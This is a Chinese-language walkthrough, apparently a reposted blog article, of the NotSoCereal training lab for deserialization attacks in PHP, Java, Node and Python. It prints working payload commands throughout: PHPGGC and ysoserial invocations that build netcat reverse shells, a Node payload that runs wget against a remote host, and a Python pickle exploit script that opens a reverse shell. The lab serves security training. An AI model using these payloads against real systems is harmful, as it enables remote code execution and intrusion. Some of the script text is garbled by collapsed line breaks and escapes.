项目介绍
反序列化问题是信息安全的最新趋势,它们因臭名昭著的Java反序列化错误而声名鹊起,然而这些问题不仅仅局限于一种语言,序列化和反序列化是几乎所有现代编程语言中执行的常见操作,尽管这些问题臭名昭著,但却严重缺乏磨练你这方面技能的平台,于是NotSoCereal-Lab孕育而生,它是一个反序列化平台,用于训练你的反序列化操作能力,目前已经创建了支持以下语言的环境:
-
Java
-
PHP
-
Python
-
Node
项目地址
项目地址:https://github.com/NotSoSecure/NotSoCereal-Lab
靶机部署
靶机下载:https://binary.notsosecure.com/NotSoCereal_2022.ova
Step 1:下载OVA文件,并尝试使用“文件->导入设备”选项将其导入

Step 2:选择下载的OVA文件“NotSoCereal _ v1.0.ova”的路径

Step 3:观察\\”描述\\”中的凭证,然后单击导入按钮

Step 4:成功导入

Step 5:点击\\”开始\\”按钮启动NotSoCereal虚拟机

Step 6:虚拟机将启动并要求凭据

Step 7:输入在步骤3中捕获的凭据,并执行以下命令来启动易受攻击的应用程序的docker
cd docker./start.sh

Step 8:捕获\\”eth0\\”接口分配的IP地址

Step 9:使用IP地址访问应用程序

靶机实战
PHP反序列化
Step 1:点击\\”PHP Website:16664\\”

Step 2:提供必要的信息并点击\\”提交\\”按钮

Step 3:在Burp Suite代理中捕获请求,并观察\\”csrftoken\\”参数包含Base64数据

Step 4:使用Base64解码该值,并标识序列化数据

Step 5:将步骤3中捕获的请求发送到repeat模块

Step 6:从以下位置下载PHPGGC实用程序并生成序列化的有效负载,并捕获生成的有效负载
https://github.com/ambionics/phpggc
./phpggc -b slim/rce1 system id

Step 7:将步骤5中捕获的请求的参数\\”csrftoken\\”中使用步骤6中生成的有效负载替换,并发送请求

Step 8:使用以下命令启动监听器
nc -nlvp 6666

Step 9:使用以下命令捕获系统IP地址,并使用该地址生成反向shell的有效负载,并捕获有效负载
./phpggc -b slim/rce1 system \\\"nc 192.168.29.88 6666 -e /bin/sh\\\"

Step 10:替换有效载荷

Step 11:之后成功收到返回的会话

JAVA反序列化
Step 1:点击\\”Java Website: 16661\\”链接

Step 2:提供以下凭证并勾选\\”记住我\\”选项,然后单击\\”提交\\”按钮
Username: adminPassword: password

Step 3:之后使用Burpsuite抓包并发送请Repeat模块

Step 4:之后发送请求数据包,可以看到响应中具有以\\”rO0\\”开头的Java序列化神奇字符串

Step 5:使用Base64解码后观察它的序列化值

Step 6:转发步骤3中捕获的请求,并单击\\”登录\\”按钮

Step 7:从以下位置下载YSoSerial实用程序,并使用以下命令检查可用的有效负载
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar

Step 8:使用以下命令捕获IP地址并使用它来生成反向shell有效负载,并捕获生成的有效负载
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 \\\"nc 192.168.29.88 4444 -e /bin/bash\\\" | base64 -w 0

Step 9:使用以下命令启动监听
nc -nlvp 4444

Step 10:在\\”RememberMe\\”参数中替换步骤8中生成的有效负载,并单击\\”send\\”按钮向服务器发送请求

Step 10:之后接收到反弹的shell

Node反序列化
Step 1:点击\\”Node Website: 16663\\”链接

Step 2:填写表单信息并提交

Step 3:捕获通信数据包

Step 4:观察CSRFToken

Step 5:发送请求到repeat模块

Step 6:使用以下信息创建node.js序列化负载
{\\\"rce\\\":\\\"_$$ND_FUNC$$_function (){\\\\n \\\\t require(\\\'child_process\\\').exec(\\\'wget http://192.168.X.206:9999/test /\\\',function(error, stdout, stderr) {console.log(stdout) });\\\\n }()\\\"}

Step 7:开启一个监听

Step 8:替换载荷并重新发行请求

Step 9:之后成功接收到反弹的shell

Python反序列化
Step 1:点击\\”Python: Connect over TCP Socket: 16662\\”

Step 2:访问地址

Step 3:开启本地监听
nc -nlvp 5555

Step 4:之后使用以下脚本生成载荷
#!/usr/bin/env python#payload.pyimport pickleimport socketimport osimport sysif len(sys.argv) < 5:print \\\"Usage: python py_exploit.py <attacker_ip_address> <attacker_port> <docker_ip_address> <docker_port>\\\"sys.exit(1)localIP=sys.argv[1]localPort=sys.argv[2]dockerIP=sys.argv[3]dockerPort=sys.argv[4]class payload(object):def __reduce__(self):comm = \\\"rm /tmp/shell; mknod /tmp/shell p; nc \\\"+localIP+\\\" \\\"+localPort+\\\" 0</tmp/shell | /bin/sh 1>/tmp/shell\\\"return (os.system, (comm,))payload = pickle.dumps( payload())soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)soc.connect((dockerIP, int(dockerPort)))print soc.recv(1024)soc.send(payload)
Step 5:执行脚本
python py_exploit.py 192.168.29.88 5555 192.168.29.201 16662
Step 6:之后收到反弹的shell
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34368.html